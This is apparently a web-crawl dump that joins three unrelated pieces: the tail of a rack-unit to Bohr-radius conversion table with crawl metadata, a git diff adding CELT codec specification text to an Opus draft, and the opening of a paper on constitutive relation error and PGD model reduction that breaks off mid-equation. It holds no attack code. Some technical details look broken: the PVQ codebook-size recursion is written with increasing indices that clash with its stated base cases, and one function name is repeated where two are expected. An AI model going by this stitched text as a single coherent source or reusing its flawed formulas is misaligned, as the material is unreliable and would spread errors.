16799671943.414 Bohr\n30 ru = 25199507915.121 Bohr\n40 ru = 33599343886.828 Bohr\n50 ru = 41999179858.535 Bohr\n60 ru = 50399015830.242 Bohr\n70 ru = 58798851801.949 Bohr\n80 ru = 67198687773.656 Bohr\n90 ru = 75598523745.363 Bohr\n100 ru = 83998359717.07 Bohr\n200 ru = 167996719434.14 Bohr\n300 ru = 251995079151.21 Bohr\n400 ru = 335993438868.28 Bohr\n500 ru = 419991798585.35 Bohr\n600 ru = 503990158302.42 Bohr\n700 ru = 587988518019.49 Bohr\n800 ru = 671986877736.56 Bohr\n900 ru = 755985237453.63 Bohr\n1000 ru = 839983597170.7 Bohr\n2000 ru = 1679967194341.4 Bohr\n4000 ru = 3359934388682.8 Bohr\n5000 ru = 4199917985853.5 Bohr\n7500 ru = 6299876978780.3 Bohr\n10000 ru = 8399835971707 Bohr\n25000 ru = 20999589929268 Bohr\n50000 ru = 41999179858535 Bohr\n100000 ru = 83998359717070 Bohr\n1000000 ru = 8.399835971707E+14 Bohr\n1000000000 ru = 8.399835971707E+17 Bohr\n(Rack Unit) to (Bohr Radius) conversions"
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.6653459,"math_prob":0.9431491,"size":2629,"snap":"2020-24-2020-29","text_gpt3_token_len":1010,"char_repetition_ratio":0.2064762,"word_repetition_ratio":0.0,"special_character_ratio":0.5739825,"punctuation_ratio":0.1375969,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.97343993,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-06-02T05:00:01Z\",\"WARC-Record-ID\":\"<urn:uuid:1d99aa3b-4f8c-4fc8-b454-bf3f9ffa41cb>\",\"Content-Length\":\"65527\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:1c4f5630-7d0f-4c72-aeb7-0577414f96d4>\",\"WARC-Concurrent-To\":\"<urn:uuid:2c75fbf2-b04a-442d-8c8a-72e26e5925bc>\",\"WARC-IP-Address\":\"70.39.249.94\",\"WARC-Target-URI\":\"https://www.justintools.com/unit-conversion/length.php?k1=rack-unit&k2=bohr-radius\",\"WARC-Payload-Digest\":\"sha1:HDX57EKNN5SKJFB63HXYS56NBH67ZG3T\",\"WARC-Block-Digest\":\"sha1:EU7KRQBLAKDI2QWBDUVD6POZBGLNWAHB\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-24/CC-MAIN-2020-24_segments_1590347422803.50_warc_CC-MAIN-20200602033630-20200602063630-00455.warc.gz\"}"} |
https://git.xiph.org/?p=opus.git;a=commitdiff;h=57feffc1c824df8c2dda9c505aeecf7412e213f7 | [
"author Jean-Marc Valin Mon, 15 Nov 2010 03:18:42 +0000 (22:18 -0500) committer Jean-Marc Valin Mon, 15 Nov 2010 03:18:42 +0000 (22:18 -0500)\n\nindex abb2ce0..bfd371a 100644 (file)\n@@ -448,6 +448,318 @@ Copy from SILK draft.\n<t>\nCopy from CELT draft.\n</t>\n+\n+<section anchor=\"forward-mdct\" title=\"Forward MDCT\">\n+\n+<t>The MDCT implementation has no special characteristics. The\n+input is a windowed signal (after pre-emphasis) of 2*N samples and the output is N\n+frequency-domain samples. A <spanx style=\"emph\">low-overlap</spanx> window is used to reduce the algorithmic delay.\n+It is derived from a basic (full overlap) window that is the same as the one used in the Vorbis codec: W(n)=[sin(pi/2*sin(pi/2*(n+.5)/L))]^2. The low-overlap window is created by zero-padding the basic window and inserting ones in the middle, such that the resulting window still satisfies power complementarity. The MDCT is computed in mdct_forward() (mdct.c), which includes the windowing operation and a scaling of 2/N.\n+</t>\n+</section>\n+\n+<section anchor=\"normalization\" title=\"Bands and Normalization\">\n+<t>\n+The MDCT output is divided into bands that are designed to match the ear's critical bands,\n+with the exception that each band has to be at least 3 bins wide. For each band, the encoder\n+computes the energy that will later be encoded. Each band is then normalized by the\n+square root of the <spanx style=\"strong\">non-quantized</spanx> energy, such that each band now forms a unit vector X.\n+The energy and the normalization are computed by compute_band_energies()\n+and normalise_bands() (bands.c), respectively.\n+</t>\n+</section>\n+\n+<section anchor=\"energy-quantization\" title=\"Energy Envelope Quantization\">\n+\n+<t>\n+It is important to quantize the energy with sufficient resolution because\n+any energy quantization error cannot be compensated for at a later\n+stage. Regardless of the resolution used for encoding the shape of a band,\n+it is perceptually important to preserve the energy in each band. CELT uses a\n+coarse-fine strategy for encoding the energy in the base-2 log domain,\n+as implemented in quant_bands.c</t>\n+\n+<section anchor=\"coarse-energy\" title=\"Coarse energy quantization\">\n+<t>\n+The coarse quantization of the energy uses a fixed resolution of\n+6 dB and is the only place where entropy coding is used.\n+To minimize the bitrate, prediction is applied both in time (using the previous frame)\n+and in frequency (using the previous bands). The 2-D z-transform of\n+the prediction filter is: A(z_l, z_b)=(1-a*z_l^-1)*(1-z_b^-1)/(1-b*z_b^-1)\n+where b is the band index and l is the frame index. The prediction coefficients are\n+a=0.8 and b=0.7 when not using intra energy and a=b=0 when using intra energy.\n+The time-domain prediction is based on the final fine quantization of the previous\n+frame, while the frequency domain (within the current frame) prediction is based\n+on coarse quantization only (because the fine quantization has not been computed\n+yet). We approximate the ideal\n+probability distribution of the prediction error using a Laplace distribution. The\n+coarse energy quantization is performed by quant_coarse_energy() and\n+quant_coarse_energy() (quant_bands.c).\n+</t>\n+\n+<t>\n+The Laplace distribution for each band is defined by a 16-bit (Q15) decay parameter.\n+Thus, the value 0 has a frequency count of p=2*(16384*(16384-decay)/(16384+decay)). The\n+values +/- i each have a frequency count p[i] = (p[i-1]*decay)>>14. The value of p[i] is always\n+rounded down (to avoid exceeding 32768 as the sum of all frequency counts), so it is possible\n+for the sum to be less than 32768. In that case additional values with a frequency count of 1 are encoded. The signed values corresponding to symbols 0, 1, 2, 3, 4, ...\n+are [0, +1, -1, +2, -2, ...]. The encoding of the Laplace-distributed values is\n+implemented in ec_laplace_encode() (laplace.c).\n+</t>\n+<!-- FIXME: bit budget consideration -->\n+</section> <!-- coarse energy -->\n+\n+<section anchor=\"fine-energy\" title=\"Fine energy quantization\">\n+<t>\n+After the coarse energy quantization and encoding, the bit allocation is computed\n+(<xref target=\"allocation\"></xref>) and the number of bits to use for refining the\n+energy quantization is determined for each band. Let B_i be the number of fine energy bits\n+for band i; the refinement is an integer f in the range [0,2^B_i-1]. The mapping between f\n+and the correction applied to the coarse energy is equal to (f+1/2)/2^B_i - 1/2. Fine\n+energy quantization is implemented in quant_fine_energy()\n+(quant_bands.c).\n+</t>\n+\n+<t>\n+If any bits are unused at the end of the encoding process, these bits are used to\n+increase the resolution of the fine energy encoding in some bands. Priority is given\n+to the bands for which the allocation (<xref target=\"allocation\"></xref>) was rounded\n+down. At the same level of priority, lower bands are encoded first. Refinement bits\n+are added until there are no unused bits. This is implemented in quant_energy_finalise()\n+(quant_bands.c).\n+</t>\n+\n+</section> <!-- fine energy -->\n+\n+\n+</section> <!-- Energy quant -->\n+\n+<section anchor=\"allocation\" title=\"Bit Allocation\">\n+<t>Bit allocation is performed based only on information available to both\n+the encoder and decoder. The same calculations are performed in a bit-exact\n+manner in both the encoder and decoder to ensure that the result is always\n+exactly the same. Any mismatch would cause an error in the decoded output.\n+The allocation is computed by compute_allocation() (rate.c),\n+which is used in both the encoder and the decoder.</t>\n+\n+<t>For a given band, the bit allocation is nearly constant across\n+frames that use the same number of bits for Q1, yielding a\n+pre-defined signal-to-mask ratio (SMR) for each band. Because the\n+bands each have a width of one Bark, this is equivalent to modeling the\n+masking occurring within each critical band, while ignoring inter-band\n+masking and tone-vs-noise characteristics. While this is not an\n+optimal bit allocation, it provides good results without requiring the\n+transmission of any allocation information.\n+</t>\n+\n+\n+<t>\n+For every encoded or decoded frame, a target allocation must be computed\n+using the projected allocation. In the reference implementation this is\n+performed by compute_allocation() (rate.c).\n+The target computation begins by calculating the available space as the\n+number of whole bits which can be fit in the frame after Q1 is stored according\n+to the range coder (ec_[enc/dec]_tell()) and then multiplying by 8.\n+Then the two projected prototype allocations whose sums multiplied by 8 are nearest\n+to that value are determined. These two projected prototype allocations are then interpolated\n+by finding the highest integer interpolation coefficient in the range 0-8\n+such that the sum of the higher prototype times the coefficient, plus the\n+sum of the lower prototype multiplied by\n+the difference of 16 and the coefficient, is less than or equal to the\n+available sixteenth-bits.\n+The reference implementation performs this step using a binary search in\n+interp_bits2pulses() (rate.c). The target\n+allocation is the interpolation coefficient times the higher prototype, plus\n+the lower prototype multiplied by the difference of 16 and the coefficient,\n+for each of the CELT bands.\n+</t>\n+\n+<t>\n+Because the computed target will sometimes be somewhat smaller than the\n+available space, the excess space is divided by the number of bands, and this amount\n+is added equally to each band. Any remaining space is added to the target one\n+sixteenth-bit at a time, starting from the first band. The new target now\n+matches the available space, in sixteenth-bits, exactly.\n+</t>\n+\n+<t>\n+The allocation target is separated into a portion used for fine energy\n+and a portion used for the Spherical Vector Quantizer (PVQ). The fine energy\n+quantizer operates in whole-bit steps. For each band the number of bits per\n+channel used for fine energy is calculated by 50 minus the log2_frac(), with\n+1/16 bit precision, of the number of MDCT bins in the band. That result is multiplied\n+by the number of bins in the band and again by twice the number of\n+channels, and then the value is set to zero if it is less than zero. Added\n+to that result is 16 times the number of MDCT bins times the number of\n+channels, and it is finally divided by 32 times the number of MDCT bins times the\n+number of channels. If the result times the number of channels is greater than than the\n+target divided by 16, the result is set to the target divided by the number of\n+channels divided by 16. Then if the value is greater than 7 it is reset to 7 because a\n+larger amount of fine energy resolution was determined not to be make an improvement in\n+perceived quality. The resulting number of fine energy bits per channel is\n+then multiplied by the number of channels and then by 16, and subtracted\n+from the target allocation. This final target allocation is what is used for the\n+PVQ.\n+</t>\n+\n+</section>\n+\n+<section anchor=\"pitch-prediction\" title=\"Pitch Prediction\">\n+<t>\n+This section needs to be updated.\n+</t>\n+\n+</section>\n+\n+<section anchor=\"pvq\" title=\"Spherical Vector Quantization\">\n+<t>CELT uses a Pyramid Vector Quantization (PVQ) <xref target=\"PVQ\"></xref>\n+codebook for quantizing the details of the spectrum in each band that have not\n+been predicted by the pitch predictor. The PVQ codebook consists of all sums\n+of K signed pulses in a vector of N samples, where two pulses at the same position\n+are required to have the same sign. Thus the codebook includes\n+all integer codevectors y of N dimensions that satisfy sum(abs(y(j))) = K.\n+</t>\n+\n+<t>\n+In bands where neither pitch nor folding is used, the PVQ is used to encode\n+the unit vector that results from the normalization in\n+<xref target=\"normalization\"></xref> directly. Given a PVQ codevector y,\n+the unit vector X is obtained as X = y/||y||, where ||.|| denotes the\n+L2 norm.\n+</t>\n+\n+<section anchor=\"bits-pulses\" title=\"Bits to Pulses\">\n+<t>\n+Although the allocation is performed in 1/16 bit units, the quantization requires\n+an integer number of pulses K. To do this, the encoder searches for the value\n+of K that produces the number of bits that is the nearest to the allocated value\n+(rounding down if exactly half-way between two values), subject to not exceeding\n+the total number of bits available. The computation is performed in 1/16 of\n+bits using log2_frac() and ec_enc_tell(). The number of codebooks entries can\n+be computed as explained in <xref target=\"cwrs-encoding\"></xref>. The difference\n+between the number of bits allocated and the number of bits used is accumulated to a\n+<spanx style=\"emph\">balance</spanx> (initialised to zero) that helps adjusting the\n+allocation for the next bands. One third of the balance is subtracted from the\n+bit allocation of the next band to help achieving the target allocation. The only\n+exceptions are the band before the last and the last band, for which half the balance\n+and the whole balance are subtracted, respectively.\n+</t>\n+</section>\n+\n+<section anchor=\"pvq-search\" title=\"PVQ Search\">\n+\n+<t>\n+The search for the best codevector y is performed by alg_quant()\n+(vq.c). There are several possible approaches to the\n+search with a tradeoff between quality and complexity. The method used in the reference\n+implementation computes an initial codeword y1 by projecting the residual signal\n+R = X - p' onto the codebook pyramid of K-1 pulses:\n+</t>\n+<t>\n+y0 = round_towards_zero( (K-1) * R / sum(abs(R)))\n+</t>\n+\n+<t>\n+Depending on N, K and the input data, the initial codeword y0 may contain from\n+0 to K-1 non-zero values. All the remaining pulses, with the exception of the last one,\n+are found iteratively with a greedy search that minimizes the normalized correlation\n+between y and R:\n+</t>\n+\n+<t>\n+J = -R^T*y / ||y||\n+</t>\n+\n+<t>\n+The search described above is considered to be a good trade-off between quality\n+and computational cost. However, there are other possible ways to search the PVQ\n+codebook and the implementors MAY use any other search methods.\n+</t>\n+</section>\n+\n+\n+<section anchor=\"cwrs-encoding\" title=\"Index Encoding\">\n+<t>\n+The best PVQ codeword is encoded as a uniformly-distributed integer value\n+by encode_pulses() (cwrs.c).\n+The codeword is converted to a unique index in the same way as specified in\n+<xref target=\"PVQ\"></xref>. The indexing is based on the calculation of V(N,K) (denoted N(L,K) in <xref target=\"PVQ\"></xref>), which is the number of possible combinations of K pulses\n+in N samples. The number of combinations can be computed recursively as\n+V(N,K) = V(N+1,K) + V(N,K+1) + V(N+1,K+1), with V(N,0) = 1 and V(0,K) = 0, K != 0.\n+There are many different ways to compute V(N,K), including pre-computed tables and direct\n+use of the recursive formulation. The reference implementation applies the recursive\n+formulation one line (or column) at a time to save on memory use,\n+along with an alternate,\n+univariate recurrence to initialise an arbitrary line, and direct\n+polynomial solutions for small N. All of these methods are\n+equivalent, and have different trade-offs in speed, memory usage, and\n+code size. Implementations MAY use any methods they like, as long as\n+they are equivalent to the mathematical definition.\n+</t>\n+\n+<t>\n+The indexing computations are performed using 32-bit unsigned integers. For large codebooks,\n+32-bit integers are not sufficient. Instead of using 64-bit integers (or more), the encoding\n+is made slightly sub-optimal by splitting each band into two equal (or near-equal) vectors of\n+size (N+1)/2 and N/2, respectively. The number of pulses in the first half, K1, is first encoded as an\n+integer in the range [0,K]. Then, two codebooks are encoded with V((N+1)/2, K1) and V(N/2, K-K1).\n+The split operation is performed recursively, in case one (or both) of the split vectors\n+still requires more than 32 bits. For compatibility reasons, the handling of codebooks of more\n+than 32 bits MUST be implemented with the splitting method, even if 64-bit arithmetic is available.\n+</t>\n+</section>\n+\n+</section>\n+\n+\n+<section anchor=\"stereo\" title=\"Stereo support\">\n+<t>\n+When encoding a stereo stream, some parameters are shared across the left and right channels, while others are transmitted separately for each channel, or jointly encoded. Only one copy of the flags for the features, transients and pitch (pitch period and gains) are transmitted. The coarse and fine energy parameters are transmitted separately for each channel. Both the coarse energy and fine energy (including the remaining fine bits at the end of the stream) have the left and right bands interleaved in the stream, with the left band encoded first.\n+</t>\n+\n+<t>\n+The main difference between mono and stereo coding is the PVQ coding of the normalized vectors. In stereo mode, a normalized mid-side (M-S) encoding is used. Let L and R be the normalized vector of a certain band for the left and right channels, respectively. The mid and side vectors are computed as M=L+R and S=L-R and no longer have unit norm.\n+</t>\n+\n+<t>\n+From M and S, an angular parameter theta=2/pi*atan2(||S||, ||M||) is computed. The theta parameter is converted to a Q14 fixed-point parameter itheta, which is quantized on a scale from 0 to 1 with an interval of 2^-qb, where qb = (b-2*(N-1)*(40-log2_frac(N,4)))/(32*(N-1)), b is the number of bits allocated to the band, and log2_frac() is defined in cwrs.c. From here on, the value of itheta MUST be treated in a bit-exact manner since\n+both the encoder and decoder rely on it to infer the bit allocation.\n+</t>\n+<t>\n+Let m=M/||M|| and s=S/||S||; m and s are separately encoded with the PVQ encoder described in <xref target=\"pvq\"></xref>. The number of bits allocated to m and s depends on the value of itheta. The number of bits allocated to coding m is obtained by:\n+</t>\n+\n+<t>\n+<list>\n+<t>imid = bitexact_cos(itheta);</t>\n+<t>iside = bitexact_cos(16384-itheta);</t>\n+<t>delta = (N-1)*(log2_frac(iside,6)-log2_frac(imid,6))>>2;</t>\n+<t>qalloc = log2_frac((1<<qb)+1,4);</t>\n+<t>mbits = (b-qalloc/2-delta)/2;</t>\n+</list>\n+</t>\n+\n+<t>where bitexact_cos() is a fixed-point cosine approximation that MUST be bit-exact with the reference implementation\n+in mathops.h. The spectral folding operation is performed independently for the mid and side vectors.</t>\n+</section>\n+\n+\n+<section anchor=\"synthesis\" title=\"Synthesis\">\n+<t>\n+After all the quantization is completed, the quantized energy is used along with the\n+quantized normalized band data to resynthesize the MDCT spectrum. The inverse MDCT (<xref target=\"inverse-mdct\"></xref>) and the weighted overlap-add are applied and the signal is stored in the <spanx style=\"emph\">synthesis buffer</spanx> so it can be used for pitch prediction.\n+The encoder MAY omit this step of the processing if it knows that it will not be using\n+the pitch predictor for the next few frames. If the de-emphasis filter (<xref target=\"inverse-mdct\"></xref>) is applied to this resynthesized\n+signal, then the output will be the same (within numerical precision) as the decoder's output.\n+</t>\n+</section>\n+\n+<section anchor=\"vbr\" title=\"Variable Bitrate (VBR)\">\n+<t>\n+Each CELT frame can be encoded in a different number of octets, making it possible to vary the bitrate at will. This property can be used to implement source-controlled variable bitrate (VBR). Support for VBR is OPTIONAL for the encoder, but a decoder MUST be prepared to decode a stream that changes its bit-rate dynamically. The method used to vary the bit-rate in VBR mode is left to the implementor, as long as each frame can be decoded by the reference decoder.\n+</t>\n+</section>\n+\n</section>\n\n</section>"
] | [
null
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https://amses-journal.springeropen.com/articles/10.1186/s40323-016-0073-9 | [
"# Synergies between the constitutive relation error concept and PGD model reduction for simplified V&V procedures\n\n## Abstract\n\nThe paper deals with the constitutive relation error (CRE) concept which has been widely used over the last 40 years for verification and validation of computational mechanics models. It more specifically focuses on the beneficial use of model reduction based on proper generalized decomposition (PGD) into this CRE concept. Indeed, it is shown that a PGD formulation can facilitate the construction of so-called admissible fields which is a technical key-point of CRE. Numerical illustrations, addressing both model verification and model updating, are presented to assess the performances of the proposed approach.\n\n## Background\n\nMathematical models and their solutions, either analytical or numerical, are fundamental in science and engineering activities as they constitute the basic ingredient of simulations that enable to predict the behavior of physical phenomena. Consequently, a permanent issue is the verification and validation of these models, which nowadays can attain very high levels of complexity, in order to certify the quality of numerical simulations. On the one hand, verification deals with the assessment of the numerical (FE) model with respect to initial mathematical model, and implies the estimation of discretization error in order to control the quality of the approximate numerical solution. In this context, a large set of a posteriori error estimates has appeared over the last thirty years (see for an overview). On the other hand, validation addresses the capability of mathematical models to represent a faithful abstraction of the real (physical) world. It aims at identifying or updating model parameters in order to minimize the discrepancy between numerical predictions and experimental measurements, and leads to the solution of inverse problems .\n\nIn the context of model verification and validation, and particularly for computational mechanics models in which the constitutive relation is a major component, the constitutive relation error (CRE) concept is a convenient and powerful tool. The idea of CRE is rather simple: so-called admissible fields verifying all equations of the model except the constitutive relation are constructed, then the residual associated with the constitutive relation is measured. The CRE concept was first introduced as a robust a posteriori error estimator in FE computations , enabling to compute both strict and effective discretization error bounds for linear and more generally convex structural mechanics problems, and to lead mesh adaptivity processes. It was primarily used for linear thermal and elasticity problems [6, 7] before being extended to nonlinear time dependent problems [8, 9] and to goal-oriented error estimation . The use of CRE for model verification, for which a general overview can be found in , requires in particular the computation of admissible dual fields which are fully equilibrated. This requirement, which is the main practical issue both in terms of computational cost and implementation technicality, was addressed by means several techniques that post-process the FE solution at hand [2, 6, 1320]. During the 90s, the CRE concept was extended to model identification/updating. First introduced for dynamics models , this method was latter successfully used in many calibration applications including defects , uncertain measurements and behaviors [26, 27], or corrupted measurements [28, 29]. It was also used in the context of full-field measurements [30, 31]. After initial studies in which measurements were included as additional admissibility constraints, a more flexible and effective strategy was developed. Denoted as modified CRE (mCRE), this strategy consists in relaxing constraints on measurements and other uncertain data, proposing a general framework in which reliable theoretical and experimental information (equilibrium, sensor position,...) is favored to define admissibility spaces, and residual on complementary information (material behavior, sensor measurements,...) is measured. It acts in an iterative two-steps algorithm, in which optimal admissible fields are first computed, before minimizing the obtained mCRE functional with respect to model parameters. The use of mCRE presents interesting advantages; it has excellent capacities to localize structural defects spatially, it is very robust with respect to noisy measurements, and it has good convexity properties.\n\nThe objective of the paper is to present new numerical tools, based on model reduction techniques and offlineonline strategy, that can be coupled to the CRE concept to make this latter fully implementable and exploitable for practical industrial applications. They particularly aim at decreasing the computational cost and technicality level which are required when computing admissible fields, leading to fast and inexpensive verification and validation (V&V) procedures. For that purpose, we decide to refer to the proper generalized decomposition (PGD) which is an a priori model reduction technique that has been extensively used over the last decade to solve multi-parametric problems (see ). Consider a general linear D-dimensional problem of the form:\n\n\\begin{aligned} \\mathcal {L}u = g, \\quad u \\in \\mathcal {X}= \\mathcal {X}_1 \\otimes \\mathcal {X}_2 \\otimes \\cdots \\otimes \\mathcal {X}_D \\end{aligned}\n(1)\n\nwhere $$\\mathcal {L}$$ is an operator defined on the tensor space $$\\mathcal {X}$$. PGD is a low-rank tensor method that consists in searching an approximation of u in a low-dimensional tensor subspace of $$\\mathcal {X}_m \\subset \\mathcal {X}$$ made of canonical format tensors of rank m:\n\n\\begin{aligned} u_m = \\sum _{i=1}^m w_i^1 \\otimes w_i^2 \\cdots \\otimes w_i^D, \\quad w_i^{\\mu } \\in \\mathcal {X}_{\\mu } \\end{aligned}\n(2)\n\nAmong the various strategies to construct $$u_m$$ , we focus on the one called progressive Galerkin. Introducing the global weak formulation of the problem:\n\n\\begin{aligned} \\text {Find}\\,\\,u\\in \\mathcal {X}\\,\\,\\mathrm{such~that} \\; B(u,v)=F(v) \\quad \\forall v \\in \\mathcal {X}\\end{aligned}\n(3)\n\nand assuming that the rank $$m-1$$ decomposition $$u_{m-1}$$ is known, the rank m decomposition $$u_m = u_{m-1} + w^1 \\otimes w^2 \\cdots \\otimes w^D$$ is searched such that:\n\n\\begin{aligned}&B(u_m,\\delta v) = F(\\delta v) \\nonumber \\\\&\\quad \\forall \\delta v= \\delta w^1\\otimes w^2 \\cdots \\otimes w^D + w^1\\otimes \\delta w^2 \\cdots \\otimes w^D + \\dots + w^1\\otimes w^2 \\cdots \\otimes \\delta w^D \\end{aligned}\n(4)\n\nwith $$\\delta w^{\\mu } \\in \\mathcal {X}_{\\mu }$$. This formulation naturally leads to a nonlinear problem where a set of coupled low-dimensional problems has to be solved:\n\n\\begin{aligned} B(w^1 \\otimes w^2 \\cdots \\otimes w^D,\\delta w^1\\otimes w^2 \\cdots \\otimes w^D)= & {} R_{m-1}(\\delta w^1\\otimes w^2 \\cdots \\otimes w^D) \\quad \\forall \\delta w^1 \\in \\mathcal {X}_1 \\nonumber \\\\ B(w^1 \\otimes w^2 \\cdots \\otimes w^D,w^1\\otimes \\delta w^2 \\cdots \\otimes w^D)= & {} R_{m-1}(w^1\\otimes \\delta w^2 \\cdots \\otimes w^D) \\quad \\forall \\delta w^2 \\in \\mathcal {X}_2 \\nonumber \\\\ \\vdots= & {} \\vdots \\nonumber \\\\ B(w^1 \\otimes w^2 \\cdots \\otimes w^D,w^1\\otimes w^2 \\cdots \\otimes \\delta w^D)= & {} R_{m-1}(w^1\\otimes w^2 \\cdots \\otimes \\delta w^D) \\quad \\forall \\delta w^D \\in \\mathcal {X}_D \\end{aligned}\n(5)\n\nwith $$R_{m-1}(v)=F(v)-B(u_{m-1},v)$$. This problem is in practice solved with an iterative (fixed point) strategy.\n\nOn the one hand, in the context of model verification, the CRE concept was already used to control PGD approximations (see a posteriori error estimates developed in [36, 37]) or to directly drive the PGD process with CRE minimization . Nevertheless, the use of PGD in CRE implementation has never been investigated and we wish to show here that there are major advantages to do so, in particular for the construction of equilibrated fields. On the other hand, in the context of model validation, PGD was used for model updating within classical procedures with least square minimization . It was also recently used in particular applications involving robust model updating with the CRE concept [40, 41]. Here, the goal is to give a general framework on the effective use of PGD for model updating with CRE. For the sake of simplicity and clarity, we consider scalar linear elliptic (stationary thermal) problems even though extensions to elasticity or more complex problems (nonlinear or transient analyses), briefly addressed in this paper, are possible with regards to existing literature [2, 8].\n\nThe paper outline is as follows: after presenting the mathematical model of interest in “Reference problem and approximate FE solution” section, the CRE concept is reviewed in “Basics on the CRE concept” section; its extension to model validation with the mCRE concept is addressed in “Extension of the CRE concept for model updating: modified CRE” section; the use of PGD in addition to CRE for the construction of admissible fields is shown in details in “Coupling PGD with CRE in model verification” section for model verification, and in “Coupling PGD with mCRE in model validation” section for model validation; illustrative numerical results are reported in “Results and discussion” section; conclusions are drawn in “Conclusions” section.\n\n## Methods\n\n### Reference problem and approximate FE solution\n\nWe consider a steady-state thermal problem that consists in finding the temperature/flux pair $$(u,\\varvec{q})$$ such that:\n\n\\begin{aligned} \\begin{array}{lll} &{}\\quad u=0 \\;\\, \\text {on}\\,\\; \\Gamma _D &{}\\quad \\text {(kinematic constraints)}\\\\ -\\varvec{\\nabla }\\cdot \\varvec{q}= f \\; \\text {in}\\; \\Omega ; &{}\\quad \\varvec{q}\\cdot \\varvec{n}= g \\;\\, \\text {on}\\,\\; \\Gamma _N &{}\\quad \\text {(balance equations)}\\\\ &{}\\quad \\varvec{q}= \\mathcal {K}\\varvec{\\nabla }u &{}\\quad \\text {(constitutive relation)} \\end{array} \\end{aligned}\n(6)\n\n$$\\Omega$$ is an open bounded subset of $$\\mathbb {R}^d$$ with Lipschitz boundary $$\\partial \\Omega$$, and $$\\Gamma _D$$ and $$\\Gamma _N$$ are complementary parts of $$\\partial \\Omega$$ such that $$\\overline{\\Gamma _D \\cup \\Gamma _N}=\\partial \\Omega$$, $$\\Gamma _D \\cap \\Gamma _N=\\emptyset$$, and $$|\\Gamma _D| \\ne 0$$. We assume that $$f \\in L^2(\\Omega )$$ and $$\\mathcal {K}\\in [L^{\\infty }(\\Omega )]^{d\\times d}$$ is a symmetric, uniformly bounded and positive matrix in the sense that there exists $$k_\\mathrm{max} \\ge k_\\mathrm{min} > 0$$ such that\n\n\\begin{aligned} \\forall \\varvec{\\xi } \\in \\mathbb {R}^d, \\quad k_\\mathrm{min} |\\varvec{\\xi }|^2 \\le \\mathcal {K}\\varvec{\\xi } \\cdot \\varvec{\\xi } \\le k_\\mathrm{max} |\\varvec{\\xi }|^2 \\quad \\text {a.e. in}\\,\\, \\Omega . \\end{aligned}\n(7)\n\nConsidering the Hilbert space $$\\mathcal {U}=\\{v \\!\\in \\! H^1(\\Omega ), v=0 \\; \\text {on}\\; \\Gamma _D\\}$$ equipped with the $$H^1$$-norm $$\\Vert v \\Vert _1$$, the weak formulation of (6) reads:\n\n\\begin{aligned} \\text {Find}\\,\\,u \\in \\mathcal {U}\\,\\, \\mathrm{such~that} \\quad a(u,v)=l(v) \\quad \\forall v \\in \\mathcal {U}\\end{aligned}\n(8)\n\nwith\n\n\\begin{aligned} a(u,v) =\\int _{\\Omega }\\mathcal {K}\\varvec{\\nabla }u \\cdot \\varvec{\\nabla }v, \\quad l(v)=\\int _{\\Omega }fv + \\int _{\\Gamma _N} gv. \\end{aligned}\n(9)\n\nThe bilinear form a is symmetric, continuous and coercive on $$\\mathcal {U}$$. It hence defines an inner product and induces the energy norm $$|||v|||_{\\mathcal {U}}=\\sqrt{a(v,v)}$$ which is equivalent to $$\\Vert v \\Vert _1$$ on $$\\mathcal {U}$$. We also denote $$\\Vert v \\Vert _0$$ the $$L^2$$-norm on $$\\mathcal {U}$$. Existence and uniqueness of the solution u to (8) is provided by the Lax-Milgram theorem. We note that (8) is equivalent to the minimization of the potential energy $$J_1(v)=\\frac{1}{2}a(v,v)-l(v)$$ on $$\\mathcal {U}$$.\n\nLet $$\\mathcal {T}_h$$ be a regular (non-degenerate) partition of $$\\Omega$$. Introducing the space $$\\mathcal {U}_h$$ of continuous and locally supported functions which are polynomials on each element $$K \\in \\mathcal {T}_h$$, the conforming FE approximation of (8) reads:\n\n\\begin{aligned} \\text {Find}\\,\\, u_h \\in \\mathcal {U}_h\\,\\, \\mathrm{such~that} \\quad a(u_h,v)=l(v) \\quad \\forall v \\in \\mathcal {U}_h \\end{aligned}\n(10)\n\nWe thus define the discretization error $$e=u_h-u \\in \\mathcal {U}$$, for which a measure $$|||e|||_{\\mathcal {U}}$$ in terms of the energy norm can be introduced to express the global quality of the approximate solution $$u_h$$. Introducing the residual functional and associated dual norm:\n\n\\begin{aligned} R(v) = l(v)-a(u_h,v); \\quad \\Vert R \\Vert _{*} = \\sup _{v \\in \\mathcal {U},v\\ne 0}\\frac{|R(v)|}{|||v|||_{\\mathcal {U}}} \\end{aligned}\n(11)\n\nleads to $$|||e|||_{\\mathcal {U}} = \\Vert R \\Vert _{*}$$. In the context of model verification, a main goal of a posteriori error estimators is to assess the value of $$|||e|||_{\\mathcal {U}}$$.\n\n### Basics on the CRE concept\n\nWe present here the foundations and implementation of the CRE concept, built from a dual approach and measuring the residual on the constitutive relation $$\\varvec{q}=\\mathcal {K}\\varvec{\\nabla }u$$, in the context of model verification.\n\nUsing the approximation approach with primal variational principle (10), that consists of minimizing the potential energy $$J_1(v)$$ on $$\\mathcal {U}_h$$, leads to:\n\n\\begin{aligned} |||e|||_{\\mathcal {U}}^2 = 2\\left[ J_1(u_h)-J_1(u)\\right] \\ge 2\\left[ J_1(u_h)-J_1(v) \\right] \\quad \\forall v \\in \\mathcal {U}_h \\end{aligned}\n(12)\n\nThis shows that any $$v \\in \\mathcal {U}_h$$ can only enable to compute a lower bound on the discretization error $$|||e|||_{\\mathcal {U}}$$; this lower bound is in practice usually poor unless v is chosen suitably.\n\nGetting an upper bound on $$|||e|||_{\\mathcal {U}}$$ requires to use the complementary variational principle. Using the subspace $$\\mathcal {S}$$ of $$H(div,\\Omega )=\\{\\varvec{\\pi }\\in [L^2(\\Omega )]^d, \\varvec{\\nabla }\\cdot \\varvec{\\pi }\\in L^2(\\Omega )\\}$$ defined as:\n\n\\begin{aligned} \\mathcal {S}= & {} \\left\\{ \\varvec{\\pi }\\in H(div,\\Omega ),\\varvec{\\nabla }\\cdot \\varvec{\\pi }+ f=0 \\; \\text {in}\\;\\Omega , \\varvec{\\pi }\\cdot \\varvec{n}= g\\; \\text {on}\\;\\Gamma _N \\right\\} \\nonumber \\\\ \\Longleftrightarrow \\mathcal {S}= & {} \\left\\{ \\varvec{\\pi }\\in H(div,\\Omega ),\\int _{\\Omega }\\varvec{\\pi 